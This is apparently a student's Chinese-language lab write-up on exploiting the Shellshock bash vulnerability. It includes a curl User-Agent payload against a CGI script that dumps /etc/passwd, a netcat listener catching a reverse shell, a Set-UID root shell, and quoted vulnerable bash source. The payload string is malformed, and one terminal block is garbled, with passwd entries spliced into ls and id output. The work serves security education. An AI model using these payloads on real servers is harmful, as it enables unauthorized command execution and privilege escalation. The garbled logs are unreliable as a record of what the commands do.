

Task1 Attack CGI programs

- ```
1 #!/bin/bash
2 echo "Content-type: text/plain"
3 echo
4 echo
5 echo "Hello world"
```

- ```
root@kali:~# curl -A "(" { ;; } ; echo; /bin/cat /etc/passwd" http://192.168.73.133/cgi-bin/myprog.cgi
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mail List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
www-data@ubuntu:/home/seed/Desktop$ exit
exit
sent 145, rcvd 2008
root@kali:~# nc -lvvp 8080
listening on [any] 8080 ...
192.168.73.133: inverse host lookup failed
connect to [192.168.73.134] from (UNKNOWN)
bash: no job control in this shell
www-data@ubuntu:/usr/lib/cgi-bin$ ls
ls
myprog.cgi
php
```

- ```

root@kali:~# nc -l -vvp 8080
listening on [any] 8080: ./bin/sync
192.168.73.133: inverse host lookup failed: Unknown host
connect to [192.168.73.134] from (UNKNOWN) [192.168.73.133] 34852
bash: no job control in this shell
www-data@ubuntu:/usr/lib/cgi-bin$ ls
ls: x:9:9:news:/var/spool/news:/bin/sh
myprog.cgi: uucp:/var/spool/uucp:/bin/sh
php: y:x:13:13:proxy:/bin:/bin/sh
php5data: x:33:33:www-data:/var/www:/bin/sh
www-data@ubuntu:/usr/lib/cgi-bin$ ls
ls: x:38:38:Mailing List Manager:/var/list:/bin/sh
myprog.cgi: ircd:/var/run/ircd:/bin/sh
php: s:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
php5dy: x:65534:65534:nobody:/nonexistent:/bin/sh
www-data@ubuntu:/usr/lib/cgi-bin$ id
id: log: x:101:103::/home/syslog:/bin/false
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ubuntu:/usr/lib/cgi-bin$

```

- ```
1 /* Initialize the shell variables from the current environment.
2    If PRIVMODE is nonzero, don't import functions from ENV or
3    parse $SHELLOPTS. */
4 void
5 initialize_shell_variables (env, privmode)
6     char **env;
7     int privmode;
8 {
9     char *name, *string, *temp_string;
10    int c, char_index, string_index, string_length;
```

```

11 SHELL_VAR *temp_var;
12
13 create_variable_tables ();
14
15 for (string_index = 0; string = env[string_index++]; )
16 {
17     char_index = 0;
18     name = string;
19     while ((c = *string++) && c != '=')
20     ;
21     if (string[-1] == '=')
22     char_index = string - name - 1;
23
24     /* If there are weird things in the environment, like `=xxx'
or a
25     string without an `=', just skip them. */
26     if (char_index == 0)
27     continue;
28
29     /* ASSERT(name[char_index] == '=') */
30     name[char_index] = '\\0';
31     /* Now, name = env variable name, string = env variable
value, and
32     char_index == strlen (name) */
33
34     temp_var = (SHELL_VAR *)NULL;
35
36     /* If exported function, define it now. Don't import
functions from
37     the environment in privileged mode. */
38     if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("
() {", string, 4))
39     {
40         string_length = strlen (string);
41         temp_string = (char *)xmalloc (3 + string_length +
char_index);
42
43         strcpy (temp_string, name);
44         temp_string[char_index] = ' ';
45         strcpy (temp_string + char_index + 1, string);
46
47         parse_and_execute (temp_string, name,
SEVAL_NONINT|SEVAL_NOHIST);
48
49         /* Ancient backwards compatibility. Old versions of bash
exported
50         functions like name()=() {...} */
51         if (name[char_index - 1] == ')' && name[char_index - 2] ==
'(')
52             name[char_index - 2] = '\\0';
53
54         if (temp_var = find_function (name))
55         {
56             VSETATTR (temp_var, (att_exported|att_imported));
57             array_needs_making = 1;
58         }
59     else

```

```

60     report_error (_("error importing function definition for
    '%s'"), name);
61
62     /* ( */
63     if (name[char_index - 1] == ')' && name[char_index - 2] ==
    '\0')
64         name[char_index - 2] = '(';    /* ) */
65 }

```

在47行及提示。传递给函数的所有的内容都像执行普通bash命令一样执行。在这里因而会触发漏洞。

Task2 Attack Set-UID programs

1. 首先先将sh链接到bash
2. 执行程序1，直接能拿到root权限的shell。移除setuid(geteuid()) 不能执行

```

[06/07/2020 02:47] seed@ubuntu:~/Desktop$ ./sh3
[06/07/2020 03:34] root@ubuntu:/home/seed/Desktop# id
uid=0(root) gid=1000(seed) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),
(lpadmin),124(sambashare),130(wireshark),1000(seed)
[06/07/2020 03:34] root@ubuntu:/home/seed/Desktop#

```

3. 执行程序2。并不能拿到shell。
4. 总结与分析：
 - 在程序1中，由于system函数是调用 `/bin/sh -c` 解析命令的。故此存在漏洞的bash被利用。
 - 程序1中的移除 `setuid(geteuid())` 不能执行。在上面的源码中第5行和第38行，对privemode进行了比较。
 - 程序2中的execve函数是加载一个程序，而这个程序尽管只用原先的环境变量但是由于并没有使用sh去解析该命令，并没有触发bash的漏洞。

总结

- 该漏洞影响的除上面的两种情况，还有一切使用bash解析的shell脚本，task1中的CGI是其中一种形式。
- shellshock漏洞的原理还是对于输入参数没有做过多大的检查，导致闭合设计者原本的执行语句命令，执行攻击者的代码。从这个漏洞中学到的 永远不要相信用户输入的数据。